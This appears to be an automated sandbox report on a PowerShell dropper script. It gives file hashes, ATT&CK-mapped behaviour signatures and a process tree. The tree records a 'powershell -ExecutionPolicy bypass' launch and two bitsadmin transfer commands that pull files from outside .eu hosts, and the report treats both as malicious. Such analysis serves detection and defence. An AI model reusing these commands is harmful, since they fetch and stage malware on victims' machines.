32f821e84b91cdd2e998be739eb5b9d2e435827b4be84c54be34ce44a6e2ec31

Analysis

max time kernel
27s
max time network
29s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
29-11-2024 11:01

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General

Target

ckJTQEOKC/WdxzhJPH.ps1
Size

2KB
MD5

9d6d8a084805bbf5d22507780d14e8f4
SHA1

27ebc6c5948855d6b5a7f1c5422a3be6a4a1e77a
SHA256

9092a282a5c56c0a19713fd3067b528efae5b27e9faa737c87a9bbf6a566cc5e
SHA512

a8142d16469fb415ad3f9212d52f0aadde797876e7735f3faebd79b57acd04688726e83047c808851ea9394b14dca0dad8c33a1e7695c4ce2a768d46a2f3597b

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	4724	bitsadmin.exe	78
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	4724	bitsadmin.exe	78

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
2236	bitsadmin.exe
1600	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
4148	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid	Process
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	4148	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 4148 wrote to memory of 4160	4148	powershell.exe	79
PID 4148 wrote to memory of 4160	4148	powershell.exe	79
PID 4148 wrote to memory of 724	4148	powershell.exe	81
PID 4148 wrote to memory of 724	4148	powershell.exe	81

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:4160
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:724

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer ogsLPx /priority FOREGROUND "https://ghryj.eu/post//41727e8262352c33f654ff2e29d0b376.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:1600

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer EVuIWF /priority FOREGROUND "https://uhfb.eu/post//41727e8262352c33f654ff2e29d0b376.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jud1vfyd.ioa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4148-0-0x00007FFF62B53000-0x00007FFF62B55000-memory.dmp

Filesize
8KB

Download
memory/4148-9-0x000001B4ED8D0000-0x000001B4ED8F2000-memory.dmp

Filesize
136KB

Download
memory/4148-10-0x00007FFF62B50000-0x00007FFF63612000-memory.dmp

Filesize
10.8MB

Download
memory/4148-11-0x00007FFF62B50000-0x00007FFF63612000-memory.dmp

Filesize
10.8MB

Download
memory/4148-12-0x00007FFF62B50000-0x00007FFF63612000-memory.dmp

Filesize
10.8MB

Download
memory/4148-13-0x000001B4EE420000-0x000001B4EE948000-memory.dmp

Filesize
5.2MB

Download
memory/4148-14-0x00007FFF62B53000-0x00007FFF62B55000-memory.dmp

Filesize
8KB

Download
memory/4148-15-0x00007FFF62B50000-0x00007FFF63612000-memory.dmp

Filesize
10.8MB

Download